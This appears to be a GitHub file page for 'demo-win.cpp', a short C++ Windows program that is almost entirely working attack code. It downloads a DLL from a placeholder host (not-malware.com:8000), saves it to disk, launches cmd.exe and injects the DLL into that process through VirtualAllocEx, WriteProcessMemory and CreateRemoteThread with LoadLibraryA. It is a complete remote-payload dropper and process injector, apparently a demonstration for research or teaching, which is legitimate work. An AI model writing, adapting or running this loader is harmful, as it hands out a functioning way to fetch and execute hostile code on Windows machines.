-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathdemo-win.cpp
executable file
·71 lines (51 loc) · 2.07 KB
/
demo-win.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <windows.h>
#include <wininet.h>
#include <cstdio>
#pragma comment(lib,"wininet")
int main(int argc, char* argv[])
{
HINTERNET hInternetSession;
HINTERNET hURL;
BOOL bResult;
DWORD dwBytesRead = 1;
// Make internet connection.
hInternetSession = InternetOpen(
L"notmalware", // agent
INTERNET_OPEN_TYPE_PRECONFIG, // access
NULL, NULL, 0); // defaults
// Make connection to desired page.
hURL = InternetOpenUrl(
hInternetSession, // session handle
L"http://not-malware.com:8000/Dll1.dll", // URL to access
NULL, 0, 0, 0); // defaults
// Read page into memory buffer.
char buf[1024];
DWORD dwTemp;
HANDLE hFile = CreateFile(L"Dll1.dll", GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile) {
return 0;
}
for (;dwBytesRead > 0;)
{
InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead);
WriteFile(hFile, buf, dwBytesRead, &dwTemp, NULL);
}
CloseHandle(hFile);
STARTUPINFOA SI;
PROCESS_INFORMATION PI;
ZeroMemory(&SI, sizeof(SI));
SI.cb = sizeof(SI);
ZeroMemory(&PI, sizeof(PI));
CreateProcessA("C:\\Windows\\System32\\cmd.exe", nullptr, nullptr, nullptr, TRUE, CREATE_NEW_CONSOLE , nullptr, nullptr, &SI, &PI);
memset(buf, 0, 0x200);
GetCurrentDirectoryA(0x200, buf);
strncat_s(buf, "\\Dll1.dll", 10);
LPVOID pDllPath = VirtualAllocEx(PI.hProcess, 0, 0x200, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(PI.hProcess, pDllPath, (LPVOID)buf, strlen(buf) + 1, 0);
HANDLE hLoadThread = CreateRemoteThread(PI.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA"), pDllPath, 0, 0);
WaitForSingleObject(hLoadThread, INFINITE); // Wait for the execution of our loader thread to finish
VirtualFreeEx(PI.hProcess, pDllPath, 0, MEM_RELEASE); // Free the memory allocated for our dll path
return 0;
}